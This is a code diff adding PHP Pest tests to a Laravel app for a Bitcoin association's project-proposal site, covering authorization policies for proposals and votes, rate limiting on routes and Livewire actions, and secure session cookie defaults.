use App\Auth\NostrUser;
use App\Models\EinundzwanzigPleb;
use App\Models\ProjectProposal;
use Illuminate\Support\Facades\Gate;
// viewAny
it('allows anyone to view any project proposals', function () {
expect(Gate::forUser(null)->allows('viewAny', ProjectProposal::class))->toBeTrue();
});
it('allows authenticated user to view any project proposals', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('viewAny', ProjectProposal::class))->toBeTrue();
});
// view
it('allows anyone to view a project proposal', function () {
$project = ProjectProposal::factory()->create();
expect(Gate::forUser(null)->allows('view', $project))->toBeTrue();
});
// create
it('allows active member with paid membership to create project proposals', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeTrue();
});
it('denies creation for default (non-member) pleb', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
});
it('denies creation for active member without paid membership', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
});
it('denies creation for passive member without paid membership', function () {
$pleb = EinundzwanzigPleb::factory()->create([
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeFalse();
});
it('allows passive member with paid membership to create project proposals', function () {
$pleb = EinundzwanzigPleb::factory()->withPaidCurrentYear()->create([
'association_status' => \App\Enums\AssociationStatus::PASSIVE,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', ProjectProposal::class))->toBeTrue();
});
it('denies creation for unauthenticated users', function () {
expect(Gate::forUser(null)->allows('create', ProjectProposal::class))->toBeFalse();
});
// update
it('allows project creator to update their project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create([
'einundzwanzig_pleb_id' => $pleb->id,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeTrue();
});
it('allows board member to update any project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeTrue();
});
it('denies non-owner non-board member from updating a project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $project))->toBeFalse();
});
// delete
it('allows project creator to delete their project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create([
'einundzwanzig_pleb_id' => $pleb->id,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeTrue();
});
it('allows board member to delete any project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeTrue();
});
it('denies non-owner non-board member from deleting a project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $project))->toBeFalse();
});
// accept
it('allows board member to accept a project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeTrue();
});
it('denies non-board member from accepting a project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeFalse();
});
it('denies project creator from accepting their own project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$project = ProjectProposal::factory()->create([
'einundzwanzig_pleb_id' => $pleb->id,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('accept', $project))->toBeFalse();
});

View File

@@ -0,0 +1,97 @@
<?php
use App\Auth\NostrUser;
use App\Models\EinundzwanzigPleb;
use App\Models\ProjectProposal;
use App\Models\Vote;
use Illuminate\Support\Facades\Gate;
// create
it('allows authenticated pleb to create a vote for a project proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', [Vote::class, $project]))->toBeTrue();
});
it('denies vote creation if pleb has already voted on the proposal', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
Vote::create([
'project_proposal_id' => $project->id,
'einundzwanzig_pleb_id' => $pleb->id,
'value' => true,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('create', [Vote::class, $project]))->toBeFalse();
});
it('denies vote creation for unauthenticated users', function () {
$project = ProjectProposal::factory()->create();
expect(Gate::forUser(null)->allows('create', [Vote::class, $project]))->toBeFalse();
});
// update
it('allows vote owner to update their vote', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$vote = Vote::create([
'project_proposal_id' => $project->id,
'einundzwanzig_pleb_id' => $pleb->id,
'value' => true,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $vote))->toBeTrue();
});
it('denies non-owner from updating a vote', function () {
$owner = EinundzwanzigPleb::factory()->create();
$otherPleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$vote = Vote::create([
'project_proposal_id' => $project->id,
'einundzwanzig_pleb_id' => $owner->id,
'value' => true,
]);
$nostrUser = new NostrUser($otherPleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('update', $vote))->toBeFalse();
});
// delete
it('allows vote owner to delete their vote', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$vote = Vote::create([
'project_proposal_id' => $project->id,
'einundzwanzig_pleb_id' => $pleb->id,
'value' => false,
]);
$nostrUser = new NostrUser($pleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $vote))->toBeTrue();
});
it('denies non-owner from deleting a vote', function () {
$owner = EinundzwanzigPleb::factory()->create();
$otherPleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
$vote = Vote::create([
'project_proposal_id' => $project->id,
'einundzwanzig_pleb_id' => $owner->id,
'value' => true,
]);
$nostrUser = new NostrUser($otherPleb->pubkey);
expect(Gate::forUser($nostrUser)->allows('delete', $vote))->toBeFalse();
});

View File

@@ -0,0 +1,119 @@
<?php
use App\Models\EinundzwanzigPleb;
use App\Models\ProjectProposal;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Livewire;
beforeEach(function () {
RateLimiter::clear('api');
RateLimiter::clear('voting');
RateLimiter::clear('nostr-login');
});
test('api routes return 429 after exceeding rate limit', function () {
for ($i = 0; $i < 60; $i++) {
$this->getJson('/api/members/2024')->assertSuccessful();
}
$this->getJson('/api/members/2024')->assertStatus(429);
});
test('api routes include rate limit headers', function () {
$response = $this->getJson('/api/members/2024');
$response->assertSuccessful();
$response->assertHeader('X-RateLimit-Limit', 60);
$response->assertHeader('X-RateLimit-Remaining');
});
test('nostr profile api route is rate limited', function () {
for ($i = 0; $i < 60; $i++) {
$this->getJson('/api/nostr/profile/testkey'.$i);
}
$this->getJson('/api/nostr/profile/testkey')->assertStatus(429);
});
test('voting actions are rate limited after 10 attempts', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
NostrAuth::login($pleb->pubkey);
for ($i = 0; $i < 10; $i++) {
RateLimiter::attempt('voting:127.0.0.1', 10, function () {});
}
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->call('handleApprove')
->assertStatus(429);
});
test('nostr login is rate limited after 10 attempts', function () {
$pleb = EinundzwanzigPleb::factory()->create();
for ($i = 0; $i < 10; $i++) {
RateLimiter::attempt('nostr-login:127.0.0.1', 10, function () {});
}
Livewire::test('association.project-support.index')
->call('handleNostrLogin', $pleb->pubkey)
->assertStatus(429);
});
test('project proposal creation is rate limited after 5 attempts', function () {
$pleb = EinundzwanzigPleb::factory()->active()->withPaidCurrentYear()->create();
NostrAuth::login($pleb->pubkey);
for ($i = 0; $i < 5; $i++) {
RateLimiter::attempt('project-proposal-create:127.0.0.1', 5, function () {});
}
Livewire::test('association.project-support.form.create')
->set('form.name', 'Test Project')
->set('form.description', 'Test Description')
->set('form.support_in_sats', 21000)
->set('form.website', 'https://example.com')
->call('save')
->assertStatus(429);
});
test('project proposal update is rate limited after 5 attempts', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create([
'einundzwanzig_pleb_id' => $pleb->id,
]);
NostrAuth::login($pleb->pubkey);
for ($i = 0; $i < 5; $i++) {
RateLimiter::attempt('project-proposal-update:127.0.0.1', 5, function () {});
}
Livewire::test('association.project-support.form.edit', ['projectProposal' => $project->slug])
->set('form.name', 'Updated Name')
->call('update')
->assertStatus(429);
});
test('voting works within rate limit', function () {
$pleb = EinundzwanzigPleb::factory()->create();
$project = ProjectProposal::factory()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.project-support.show', ['projectProposal' => $project->slug])
->call('handleApprove')
->assertHasNoErrors();
$vote = \App\Models\Vote::query()
->where('project_proposal_id', $project->id)
->where('einundzwanzig_pleb_id', $pleb->id)
->first();
expect($vote)->not->toBeNull()
->and($vote->value)->toBeTrue();
});

View File

@@ -0,0 +1,39 @@
<?php
it('has secure defaults in session config file', function () {
$config = require base_path('config/session.php');
// When no env vars are set, these should default to secure values
expect($config['http_only'])->toBeTrue('http_only should default to true');
expect($config['same_site'])->toBe('lax', 'same_site should default to lax');
});
it('defaults session encryption to true in config', function () {
$configContent = file_get_contents(base_path('config/session.php'));
expect($configContent)->toContain("env('SESSION_ENCRYPT', true)");
});
it('defaults secure cookie to true in config', function () {
$configContent = file_get_contents(base_path('config/session.php'));
expect($configContent)->toContain("env('SESSION_SECURE_COOKIE', true)");
});
it('has secure session defaults in env example', function () {
$envExample = file_get_contents(base_path('.env.example'));
expect($envExample)->toContain('SESSION_ENCRYPT=true');
expect($envExample)->toContain('SESSION_SECURE_COOKIE=true');
});
it('sets httponly and samesite flags on session cookie', function () {
$response = $this->get('/');
$sessionCookie = collect($response->headers->getCookies())
->first(fn ($cookie) => $cookie->getName() === config('session.cookie'));
expect($sessionCookie)->not->toBeNull();
expect($sessionCookie->isHttpOnly())->toBeTrue('Session cookie should be HttpOnly');
expect($sessionCookie->getSameSite())->toBe('lax', 'Session cookie should have SameSite=lax');
});

818
yarn.lock

File diff suppressed because it is too large Load Diff